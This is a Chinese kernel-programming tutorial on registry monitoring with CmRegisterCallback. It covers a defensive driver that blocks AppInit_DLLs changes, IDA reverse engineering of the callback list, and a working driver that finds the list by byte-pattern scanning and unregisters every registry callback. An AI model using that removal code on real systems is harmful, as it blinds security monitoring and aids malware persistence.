通過CmRegisterCallback學習注冊表監控與反注冊表監控
簡介
實驗環境是Win7 X86系統。
曾經在這篇文章中常見的幾種DLL注入技術說過,通過修改注冊表的內容可以實現AppInit_DLLs注入。那么本文的實驗是通過CmRegisterCallback來實現對注冊表修改的監控以此來阻止修改。并通過對CmRegisterCallback的逆向分析來實現對監控函數的刪除。
注冊表監控
在Windows系統中,可以通過使用CmRegisterCallback來設置注冊表監控的回調函數,該函數在文檔中的定義如下:
NTSTATUS CmRegisterCallback( IN PEX_CALLBACK_FUNCTION Function, IN PVOID Context, OUT PLARGE_INTEGER Cookie );

PEX_CALLBACK_FUNCTION回調函數在文檔中的定義如下,該函數的返回值為STATUS_SUCCESS之外的錯誤碼的時候,則表示系統會拒絕操作相應的注冊表。
NTSTATUS RegistryCallback( __in PVOID CallbackContext, __in_opt PVOID Argument1, __in_opt PVOID Argument2 );

其中的REG_NOTIFY_CLASS定義如下:
typedef enum _REG_NOTIFY_CLASS { RegNtDeleteKey, RegNtPreDeleteKey = RegNtDeleteKey, RegNtSetValueKey, RegNtPreSetValueKey = RegNtSetValueKey, RegNtDeleteValueKey, RegNtPreDeleteValueKey = RegNtDeleteValueKey, RegNtSetInformationKey, RegNtPreSetInformationKey = RegNtSetInformationKey, RegNtRenameKey, RegNtPreRenameKey = RegNtRenameKey, RegNtEnumerateKey, RegNtPreEnumerateKey = RegNtEnumerateKey, RegNtEnumerateValueKey, RegNtPreEnumerateValueKey = RegNtEnumerateValueKey, RegNtQueryKey, RegNtPreQueryKey = RegNtQueryKey, RegNtQueryValueKey, RegNtPreQueryValueKey = RegNtQueryValueKey, RegNtQueryMultipleValueKey, RegNtPreQueryMultipleValueKey = RegNtQueryMultipleValueKey, RegNtPreCreateKey, RegNtPostCreateKey, RegNtPreOpenKey, RegNtPostOpenKey, RegNtKeyHandleClose, RegNtPreKeyHandleClose = RegNtKeyHandleClose, // // .Net only // RegNtPostDeleteKey, RegNtPostSetValueKey, RegNtPostDeleteValueKey, RegNtPostSetInformationKey, RegNtPostRenameKey, RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPostQueryKey, RegNtPostQueryValueKey, RegNtPostQueryMultipleValueKey, RegNtPostKeyHandleClose, RegNtPreCreateKeyEx, RegNtPostCreateKeyEx, RegNtPreOpenKeyEx, RegNtPostOpenKeyEx, // // new to Windows Vista // RegNtPreFlushKey, RegNtPostFlushKey, RegNtPreLoadKey, RegNtPostLoadKey, RegNtPreUnLoadKey, RegNtPostUnLoadKey, RegNtPreQueryKeySecurity, RegNtPostQueryKeySecurity, RegNtPreSetKeySecurity, RegNtPostSetKeySecurity, // // per-object context cleanup // RegNtCallbackObjectContextCleanup, // // new in Vista SP2 // RegNtPreRestoreKey, RegNtPostRestoreKey, RegNtPreSaveKey, RegNtPostSaveKey, RegNtPreReplaceKey, RegNtPostReplaceKey, MaxRegNtNotifyClass //should always be the last enum} REG_NOTIFY_CLASS;
其中的幾個比較常用的類型,它們的意義,以及對應的Argument2的結構體的內容如下:

PREG_CREATE_KEY_INFORMATION結構體定義如下:
typedef struct _REG_CREATE_KEY_INFORMATION { PUNICODE_STRING CompleteName; // IN PVOID RootObject; // IN PVOID ObjectType; // new to Windows Vista ULONG CreateOptions;// new to Windows Vista PUNICODE_STRING Class; // new to Windows Vista PVOID SecurityDescriptor;// new to Windows Vista PVOID SecurityQualityOfService;// new to Windows Vista ACCESS_MASK DesiredAccess;// new to Windows Vista ACCESS_MASK GrantedAccess;// new to Windows Vista // to be filled in by callbacks // when bypassing native code PULONG Disposition; // new to Windows Vista // on pass through, callback should fill // in disposition PVOID *ResultObject;// new to Windows Vista // on pass through, callback should return // object to be used for the return handle PVOID CallContext; // new to Windows Vista PVOID RootObjectContext; // new to Windows Vista PVOID Transaction; // new to Windows Vista PVOID Reserved; // new to Windows Vista} REG_CREATE_KEY_INFORMATION, REG_OPEN_KEY_INFORMATION,*PREG_CREATE_KEY_INFORMATION, *PREG_OPEN_KEY_INFORMATION;
關鍵的兩個成員:

PREG_DELETE_KEY_INFORMATION的結構體定義如下:
typedef struct _REG_DELETE_KEY_INFORMATION { PVOID Object; // IN PVOID CallContext; // new to Windows Vista PVOID ObjectContext;// new to Windows Vista PVOID Reserved; // new to Windows Vista} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION
成員Object指向要刪除的注冊表項的注冊表項對象的指針。
PREG_DELETE_VALUE_KEY_INFORMATION結構體定義如下:
typedef struct _REG_DELETE_KEY_INFORMATION { PVOID Object; // IN PVOID CallContext; // new to Windows Vista PVOID ObjectContext;// new to Windows Vista PVOID Reserved; // new to Windows Vista} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION

PREG_SET_VALUE_KEY_INFORMATION結構體定義如下:
typedef struct _REG_SET_VALUE_KEY_INFORMATION { PVOID Object; // IN PUNICODE_STRING ValueName; // IN ULONG TitleIndex; // IN ULONG Type; // IN PVOID Data; // IN ULONG DataSize; // IN PVOID CallContext; // new to Windows Vista PVOID ObjectContext;// new to Windows Vista PVOID Reserved; // new to Windows Vista} REG_SET_VALUE_KEY_INFORMATION, *PREG_SET_VALUE_KEY_INFORMATION;

根據上面的內容可以知道,回調函數中是可以獲取要操作的注冊表鍵的對象的,所以可以使用ObQueryNameString函數來獲得鍵操作的鍵的名稱,該函數在文檔中的定義如下:
NTSTATUS ObQueryNameString( IN PVOID Object, OUT POBJECT_NAME_INFORMATION ObjectNameInfo, IN ULONG Length, OUT PULONG ReturnLength );

OBJECT_NAME_INFORMATION的定義如下:
typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name;} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
只有一個UNICODE_STRING的Name參數,保存了返回的名稱。
想要實現對監控函數的刪除,可以使用CmUnRegisterCallback函數來實現,該函數在文檔中的定義如下。它只有一個參數,就是前面設置監控函數時候指定的Cookie的地址。
NTSTATUS CmUnRegisterCallback( IN LARGE_INTEGER Cookie);
根據上面的內容就可以實現對注冊表的監控來拒絕AppInit_DLLs的注入,具體實現代碼如下:
#include VOID DriverUnload(IN PDRIVER_OBJECT driverObject);// 未導出函數聲明PUCHAR PsGetProcessImageFileName(PEPROCESS pEProcess); //根據EPROCESS獲取進程名稱NTSTATUS ObQueryNameString(PVOID Object, POBJECT_NAME_INFORMATION ObjectNameInfo, ULONG Length, PULONG ReturnLength); //根據對象獲取名稱NTSTATUS RegistryCallback(__in PVOID CallbackContext, __in_opt PVOID Argument1, __in_opt PVOID Argument2); //回調函數BOOLEAN GetRegisterPath(PUNICODE_STRING pRegPath, PVOID pRegObj); //獲取注冊表的完整路徑//注冊表回調使用的CookieLARGE_INTEGER g_liRegCookie; NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){ NTSTATUS status = STATUS_SUCCESS; status = CmRegisterCallback(RegistryCallback, NULL, &g_liRegCookie); if (!NT_SUCCESS(status)) { DbgPrint("回調函數設置失敗 0x%X\r", status); } else { DbgPrint("回調函數設置成功\r"); }exit: driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS;} NTSTATUS RegistryCallback(__in PVOID CallbackContext, __in_opt PVOID Argument1, __in_opt PVOID Argument2){ NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING uStrRegPath = { 0 }; //保存注冊表完整路徑 // 保存操作碼的類型 REG_NOTIFY_CLASS uOpCode = (REG_NOTIFY_CLASS)Argument1; // 保存當前操作注冊表的進程EPROCESS PEPROCESS pEProcess = NULL; PUCHAR pProcName = NULL; BOOLEAN bNeedProtected = FALSE; PWCHAR pValue = NULL; pEProcess = PsGetCurrentProcess(); if (pEProcess != NULL) { pProcName = PsGetProcessImageFileName(pEProcess); } // 申請內存用來保存注冊表路徑 uStrRegPath.Length = 0; uStrRegPath.MaximumLength = 1024 * sizeof(WCHAR); uStrRegPath.Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, uStrRegPath.MaximumLength); if (uStrRegPath.Buffer == NULL) { DbgPrint("ExAllocatePool Error"); goto exit; } RtlZeroMemory(uStrRegPath.Buffer, uStrRegPath.MaximumLength); switch (uOpCode) { // 創建注冊表之前 case RegNtPreCreateKey: { if (!GetRegisterPath(&uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject)) { DbgPrint("獲取注冊表路徑失敗\r"); } // 顯示 // DbgPrint("[RegNtPreCreateKey][%wZ][%wZ]", &uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); break; } // 打開注冊表之前 case RegNtPreOpenKey: { if (!GetRegisterPath(&uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject)) { DbgPrint("獲取注冊表路徑失敗\r"); } // 顯示 // DbgPrint("[RegNtPreOpenKey][%wZ][%wZ]", &uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); break; } // 修改鍵值之前 case RegNtPreSetValueKey: { if (!GetRegisterPath(&uStrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object)) { DbgPrint("獲取注冊表路徑失敗\r"); } pValue = ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName->Buffer; //判斷是否需要保護 if (wcsstr(pValue, L"AppInit_DLLs") || wcsstr(pValue, L"LoadAppInit_DLLs")) { DbgPrint("[RegNtPreSetValueKey][%wZ][%ws]\r", &uStrRegPath, pValue); if (pProcName) DbgPrint("進程:%s試圖修改注冊表,攔截成功\r", pProcName); status = STATUS_ACCESS_DENIED; //對操作進行攔截 } break; } default: { break; } } exit: if (uStrRegPath.Buffer) { ExFreePool(uStrRegPath.Buffer); uStrRegPath.Buffer = NULL; } return status;} BOOLEAN GetRegisterPath(PUNICODE_STRING pRegPath, PVOID pRegObj){ NTSTATUS status = STATUS_SUCCESS; BOOLEAN bRet = TRUE; ULONG uSize = 0, uRetLength = 0; PVOID pRegName = NULL; if (!MmIsAddressValid(pRegObj) || pRegPath == NULL) { bRet = FALSE; goto exit; } uSize = 512; pRegName = ExAllocatePool(NonPagedPool, uSize); if (pRegName == NULL) { DbgPrint("ExAllocatePool Error\r"); bRet = FALSE; goto exit; } //根據注冊表對象獲取注冊表路徑 status = ObQueryNameString(pRegObj, (POBJECT_NAME_INFORMATION)pRegName, uSize, &uRetLength); if (!NT_SUCCESS(status)) { if (pRegName) ExFreePool(pRegName); DbgPrint("ObQueryNameString Error 0x%X\r", status); bRet = FALSE; goto exit; } //將獲得的路徑拷貝到目標地址 RtlCopyUnicodeString(pRegPath, (PUNICODE_STRING)pRegName); exit: if (pRegName) ExFreePool(pRegName); return bRet;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){ NTSTATUS status = STATUS_SUCCESS; if (g_liRegCookie.QuadPart > 0) { status = CmUnRegisterCallback(g_liRegCookie); if (!NT_SUCCESS(status)) { DbgPrint("刪除回調函數失敗0x%X\r", status); } else { DbgPrint("刪除回調函數成功\r"); } } DbgPrint("驅動卸載完成\r");}
逆向分析CmRegisterCallback
接下來通過IDA分析CmRegisterCallback來看看是如何保存注冊表的回調函數。IDA中對CmRegisterCallback的反匯編如下:
PAGE:0069E3EE ; NTSTATUS __stdcall CmRegisterCallback(PEX_CALLBACK_FUNCTION Function, PVOID Context, PLARGE_INTEGER Cookie)PAGE:0069E3EE public CmRegisterCallbackPAGE:0069E3EE CmRegisterCallback proc nearPAGE:0069E3EEPAGE:0069E3EE Function = dword ptr 8PAGE:0069E3EE Context = dword ptr 0ChPAGE:0069E3EE Cookie = dword ptr 10hPAGE:0069E3EEPAGE:0069E3EE mov edi, ediPAGE:0069E3F0 push ebpPAGE:0069E3F1 mov ebp, espPAGE:0069E3F3 push [ebp+Cookie]PAGE:0069E3F6 mov eax, offset Init_Data ; 將Init_Data的地址賦給eaxPAGE:0069E3FB push 1PAGE:0069E3FD push [ebp+Context]PAGE:0069E400 push [ebp+Function]PAGE:0069E403 call CmCRegisterCallbackPAGE:0069E408 pop ebpPAGE:0069E409 retn 0ChPAGE:0069E409 CmRegisterCallback endp
這個函數做了兩件事情,將Init_Data的賦值賦給eax,將需要的參數入棧以后調用CmCRegisterCallback函數。經過分析以后發現,這個Init_Data是用來賦值一些數據,不過在這里用處不大,入棧的1也是。
繼續看CmCRegisterCallback的反匯編代碼:
PAGE:0069E417 CmCRegisterCallback proc near ; CODE XREF: CmRegisterCallbackEx+2C↑pPAGE:0069E417 ; CmRegisterCallback+15↑pPAGE:0069E417PAGE:0069E417 RegFunc = dword ptr 8PAGE:0069E417 Context = dword ptr 0ChPAGE:0069E417 arg_one = dword ptr 10hPAGE:0069E417 arg_Cookie = dword ptr 14hPAGE:0069E417PAGE:0069E417 mov edi, ediPAGE:0069E419 push ebpPAGE:0069E41A mov ebp, espPAGE:0069E41C push ecxPAGE:0069E41D push ebxPAGE:0069E41E mov ebx, [ebp+arg_Cookie] ; 注意這里將Cookie的地址賦給ebxPAGE:0069E421 push esiPAGE:0069E422 push ediPAGE:0069E423 push 'bcMC' ; TagPAGE:0069E428 push 30h ; NumberOfBytesPAGE:0069E42A push PagedPool ; PoolTypePAGE:0069E42C mov edi, eax ; 將結構體賦給ediPAGE:0069E42E call ExAllocatePoolWithTagPAGE:0069E433 mov esi, eax ; 申請到得內存地址賦給esiPAGE:0069E435 test esi, esiPAGE:0069E437 jnz short loc_69E443 ; 將前向指針和后向指針指向自己PAGE:0069E439 mov eax, STATUS_INSUFFICIENT_RESOURCESPAGE:0069E43E jmp loc_69E4CDPAGE:0069E443 ; ---------------------------------------------------------------------------PAGE:0069E443PAGE:0069E443 loc_69E443: ; CODE XREF: CmCRegisterCallback+20↑jPAGE:0069E443 mov [esi+LIST_ENTRY.Blink], esi ; 將前向指針和后向指針指向自己PAGE:0069E446 mov [esi+LIST_ENTRY.Flink], esi ; 這里可以知道申請到的地址前8位是個LIST_ENTRYPAGE:0069E448 lea eax, [esi+28h]PAGE:0069E44B mov [eax+4], eaxPAGE:0069E44E mov [eax], eaxPAGE:0069E450 mov eax, [ebp+Context]PAGE:0069E453 and dword ptr [esi+8], 0PAGE:0069E457 mov [esi+18h], eax ; 申請得內存偏移0x18得地方保存ContextPAGE:0069E45A mov eax, [ebp+RegFunc]PAGE:0069E45D mov [esi+1Ch], eax ; 申請到的地址偏移0x1C的地方保存回調函數PAGE:0069E460 movzx eax, word ptr [edi]PAGE:0069E463 mov [esi+22h], axPAGE:0069E467 mov [esi+20h], axPAGE:0069E46B movzx eax, word ptr [edi]PAGE:0069E46E push 'acMC' ; TagPAGE:0069E473 push eax ; NumberOfBytesPAGE:0069E474 push PagedPool ; PoolTypePAGE:0069E476 call ExAllocatePoolWithTagPAGE:0069E47B mov [esi+24h], eaxPAGE:0069E47E test eax, eaxPAGE:0069E480 jnz short loc_69E489PAGE:0069E482 mov edi, STATUS_INSUFFICIENT_RESOURCESPAGE:0069E487 jmp short loc_69E4B4PAGE:0069E489 ; ---------------------------------------------------------------------------PAGE:0069E489PAGE:0069E489 loc_69E489: ; CODE XREF: CmCRegisterCallback+69↑jPAGE:0069E489 movzx ecx, word ptr [edi]PAGE:0069E48C push ecxPAGE:0069E48D push dword ptr [edi+4]PAGE:0069E490 push eaxPAGE:0069E491 call memcpyPAGE:0069E496 add esp, 0ChPAGE:0069E499 push [ebp+arg_one]PAGE:0069E49C mov eax, esi ; 申請到的地址賦給eaxPAGE:0069E49E call SetRegisterCallBackPAGE:0069E4A3 mov edi, eaxPAGE:0069E4A5 mov eax, [esi+10h] ; 將申請到的內存偏移0x14的內容放入eaxPAGE:0069E4A8 mov [ebx], eax ; 此時ebx是Cookie的地址,賦值前4位PAGE:0069E4AA mov eax, [esi+14h] ; 這兩句就是賦值后4位,因為一個COOKIE占8位PAGE:0069E4AD mov [ebx+4], eax ; 根據這四句就可以知道,esi偏移0x10的地址存放的就是CookiePAGE:0069E4B0 test edi, ediPAGE:0069E4B2 jge short loc_69E4CBPAGE:0069E4B4PAGE:0069E4B4 loc_69E4B4: ; CODE XREF: CmCRegisterCallback+70↑jPAGE:0069E4B4 mov eax, [esi+24h]PAGE:0069E4B7 test eax, eaxPAGE:0069E4B9 jz short loc_69E4C3PAGE:0069E4BB push 0 ; TagPAGE:0069E4BD push eax ; PPAGE:0069E4BE call ExFreePoolWithTagPAGE:0069E4C3PAGE:0069E4C3 loc_69E4C3: ; CODE XREF: CmCRegisterCallback+A2↑jPAGE:0069E4C3 push 0 ; TagPAGE:0069E4C5 push esi ; PPAGE:0069E4C6 call ExFreePoolWithTagPAGE:0069E4CBPAGE:0069E4CB loc_69E4CB: ; CODE XREF: CmCRegisterCallback+9B↑jPAGE:0069E4CB mov eax, ediPAGE:0069E4CDPAGE:0069E4CD loc_69E4CD: ; CODE XREF: CmCRegisterCallback+27↑jPAGE:0069E4CD pop ediPAGE:0069E4CE pop esiPAGE:0069E4CF pop ebxPAGE:0069E4D0 pop ecxPAGE:0069E4D1 pop ebpPAGE:0069E4D2 retn 10hPAGE:0069E4D2 CmCRegisterCallback endp
可以看到,系統分配0x30大小的內存來保存相應的內容,根據以上的分析可以得出下面的結論:
- 最開始的8個字節保存的是一個LIST_ENTRY類型的雙向鏈表
- 偏移0x10保存的是COOKIE
- 偏移0x1C保存的Context
- 偏移0x18保存的是回調函數的地址
所以可以想到注冊表監控的回調函數是用LIST_ENTRY雙向鏈表來一個個連起來的。而真正將分配的這塊內存加入鏈表的函數則是SetRegisterCallback函數,以下是這個函數的反匯編分析:
PAGE:0069F34D SetRegisterCallBack proc near ; CODE XREF: CmCRegisterCallback+87↑pPAGE:0069F34DPAGE:0069F34D var_4 = dword ptr -4PAGE:0069F34D arg_One = byte ptr 8PAGE:0069F34DPAGE:0069F34D mov edi, ediPAGE:0069F34F push ebpPAGE:0069F350 mov ebp, espPAGE:0069F352 push ecxPAGE:0069F353 push ecxPAGE:0069F354 and [ebp+var_4], 0PAGE:0069F358 push ebxPAGE:0069F359 push esiPAGE:0069F35A mov esi, eax ; 申請到的地址賦給esiPAGE:0069F35C mov eax, large fs:124hPAGE:0069F362 dec word ptr [eax+84h]PAGE:0069F369 push ediPAGE:0069F36A mov ecx, offset unk_56925CPAGE:0069F36F mov eax, ecxPAGE:0069F371 lock bts dword ptr [eax], 0PAGE:0069F376 jnb short loc_69F37DPAGE:0069F378 call ExfAcquirePushLockExclusivePAGE:0069F37DPAGE:0069F37D loc_69F37D: ; CODE XREF: SetRegisterCallBack+29↑jPAGE:0069F37D add dword ptr CurrentTime, 1PAGE:0069F384 mov eax, dword ptr CurrentTimePAGE:0069F389 mov ebx, offset ListBegin ; ListBegin就是這個鏈表的首地址PAGE:0069F389 ; 這里將鏈表頭地址賦給ebxPAGE:0069F38E adc dword ptr CurrentTime+4, 0PAGE:0069F395 mov [esi+10h], eax ; 前面說過esi偏移0x10的地方保存的是CookiePAGE:0069F395 ; 所以這里就是在初始化cookiePAGE:0069F398 mov eax, dword ptr CurrentTime+4PAGE:0069F39D mov [esi+14h], eaxPAGE:0069F3A0 mov edi, ListBegin ; 將ListBegin中保存的內容賦給ediPAGE:0069F3A6 cmp edi, ebx ; 判斷edi的值是不是ListBegin的地址,如果是則跳轉到增加鏈表的代碼PAGE:0069F3A6 ; 由此可以知道鏈表的最后一個結構體的指向的下一個成員是ListBeginPAGE:0069F3A8 jz short loc_69F3DE
在這個ListBegin就是鏈表頭的地址,里面保存的就是第一個鏈表的地址。首先會將它保存的內容取出判斷保存的是否就是ListBegin的首地址。
如果是的話就說明到了鏈表的尾部,接下來就會跳轉到loc_69F3DE來把結構加進鏈表。如果不是的話,它會執行以下的循環,其中的一部分是:
PAGE:0069F3AA loc_69F3AA: ; CODE XREF: SetRegisterCallBack+7D↓jPAGE:0069F3AA lea eax, [esi+20h]PAGE:0069F3AD push eaxPAGE:0069F3AE lea eax, [edi+20h]PAGE:0069F3B1 push eaxPAGE:0069F3B2 call RtlCompareAltitudesPAGE:0069F3B7 test eax, eaxPAGE:0069F3B9 jnz short loc_69F3C4PAGE:0069F3BB cmp [ebp+arg_One], alPAGE:0069F3BE jnz short loc_69F3C6 PAGE:0069F3C0 jmp short loc_69F3D5PAGE:0069F3C2 ; ---------------------------------------------------------------------------PAGE:0069F3C2 jmp short loc_69F3C6 PAGE:0069F3C4 ; ---------------------------------------------------------------------------PAGE:0069F3C4PAGE:0069F3C4 loc_69F3C4: ; CODE XREF: SetRegisterCallBack+6C↑jPAGE:0069F3C4 jl short loc_69F3CCPAGE:0069F3C6PAGE:0069F3C6 loc_69F3C6: ; CODE XREF: SetRegisterCallBack+71↑jPAGE:0069F3C6 ; SetRegisterCallBack+75↑jPAGE:0069F3C6 mov edi, [edi+LIST_ENTRY.Flink] ; 繼續取下一個結構的地址PAGE:0069F3C8 cmp edi, ebx ; 判斷是否到鏈表頭了,不是的話跳上去繼續找下一個PAGE:0069F3C8 ; 這部分代碼就是在將edi移到鏈表的尾部PAGE:0069F3CA jnz short loc_69F3AA
這個循環就是不斷的取鏈表中的下一個數據直到鏈表尾。
找到以后,程序就會在loc_69F3DE處把數據加到鏈表里面:
PAGE:0069F3DE loc_69F3DE: ; CODE XREF: SetRegisterCallBack+5B↑jPAGE:0069F3DE ; SetRegisterCallBack+81↑j ...PAGE:0069F3DE mov eax, [edi+LIST_ENTRY.Blink]PAGE:0069F3E1 mov ecx, [eax+LIST_ENTRY.Flink]PAGE:0069F3E3 mov [esi+LIST_ENTRY.Flink], ecxPAGE:0069F3E5 mov [esi+LIST_ENTRY.Blink], eaxPAGE:0069F3E8 mov [ecx+LIST_ENTRY.Blink], esiPAGE:0069F3EB xor ecx, ecxPAGE:0069F3ED mov [eax+LIST_ENTRY.Flink], esi
反注冊表監控
根據上面分析可以知道,注冊表的監控回調函數被以鏈表的形式保存到了內存中,其中這個鏈表頭是ListBegin。接下來只要找到這個鏈表頭并且遍歷這個鏈表,取出COOKIE就可以實現回調函數的刪除。
而想要找到這個鏈表頭,首先需要在CmRegisterCallback中使用0xE8找到CmcRegisterCallback:

隨后需要在CmCRegisterCallback中使用0x8BC6E8找到SetRegisterCallback:

最終才在SetRegisterCallback中使用0xBB找到這個鏈表頭。

找到鏈表頭,就可以遍歷鏈表查看所有的注冊表監控的數據。并且在偏移0x10的地方,保存了COOKIE的數據,就可以使用它來刪除回調。具體代碼如下:
#include VOID DriverUnload(IN PDRIVER_OBJECT driverObject);PULONG GetRegisterList(); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){ NTSTATUS status = STATUS_SUCCESS; PULONG pHead = NULL; PLIST_ENTRY pListEntry = NULL; PLARGE_INTEGER pLiRegCookie = NULL; LARGE_INTEGER test; PULONG pFuncAddr = NULL; DbgPrint("驅動加載完成\r"); pHead = GetRegisterList(); if (pHead != NULL) { pListEntry = (PLIST_ENTRY)*pHead; while ((ULONG)pListEntry != (ULONG)pHead) { if (!MmIsAddressValid(pListEntry)) break; pLiRegCookie = (PLARGE_INTEGER)((ULONG)pListEntry + 0x10); pFuncAddr = (PULONG)((ULONG)pListEntry + 0x1C); //判斷地址是否有效 if (MmIsAddressValid(pFuncAddr) && MmIsAddressValid(pLiRegCookie)) { status = CmUnRegisterCallback(*pLiRegCookie); if (NT_SUCCESS(status)) { DbgPrint("刪除注冊表回調成功,函數地址為0x%X\r", *pFuncAddr); } } pListEntry = pListEntry->Flink; } } exit: driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS;} PULONG GetRegisterList(){ PULONG pListEntry = NULL; PUCHAR pCmRegFunc = NULL, pCmcRegFunc = NULL, pSetRegFunc = NULL; UNICODE_STRING uStrFuncName = RTL_CONSTANT_STRING(L"CmRegisterCallback"); pCmRegFunc = (PUCHAR)MmGetSystemRoutineAddress(&uStrFuncName); if (pCmRegFunc == NULL) { DbgPrint("MmGetSystemRoutineAddress Error\r"); goto exit; } while (*pCmRegFunc != 0xC2) { if (*pCmRegFunc == 0xE8) { pCmcRegFunc = (PUCHAR)((ULONG)pCmRegFunc + 5 + *(PULONG)(pCmRegFunc + 1)); break; } pCmRegFunc++; } if (pCmcRegFunc == NULL) { DbgPrint("GetCmcRegFunc Error\r"); goto exit; } while (*pCmcRegFunc != 0xC2) { if (*pCmcRegFunc == 0x8B && *(pCmcRegFunc +1) == 0xC6 && *(pCmcRegFunc + 2) == 0xE8) { pSetRegFunc = (PUCHAR)((ULONG)pCmcRegFunc + 2 + 5 + *(PULONG)(pCmcRegFunc + 3)); break; } pCmcRegFunc++; } if (pSetRegFunc == NULL) { DbgPrint("GetSetRegFunc Error\r"); goto exit; } while (*pSetRegFunc != 0xC2) { if (*pSetRegFunc == 0xBB) { pListEntry = (PULONG)*(PULONG)(pSetRegFunc + 1); break; } pSetRegFunc++; }exit: return pListEntry;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){ DbgPrint("驅動卸載完成\r");}
實驗結果
當沒有開啟注冊表監控的時候,可以順利的對注冊表進行修改:

而開啟監控以后,對注冊表的修改就會被攔截下來:

而當刪除監控以后,又可以成功對注冊表進行修改:
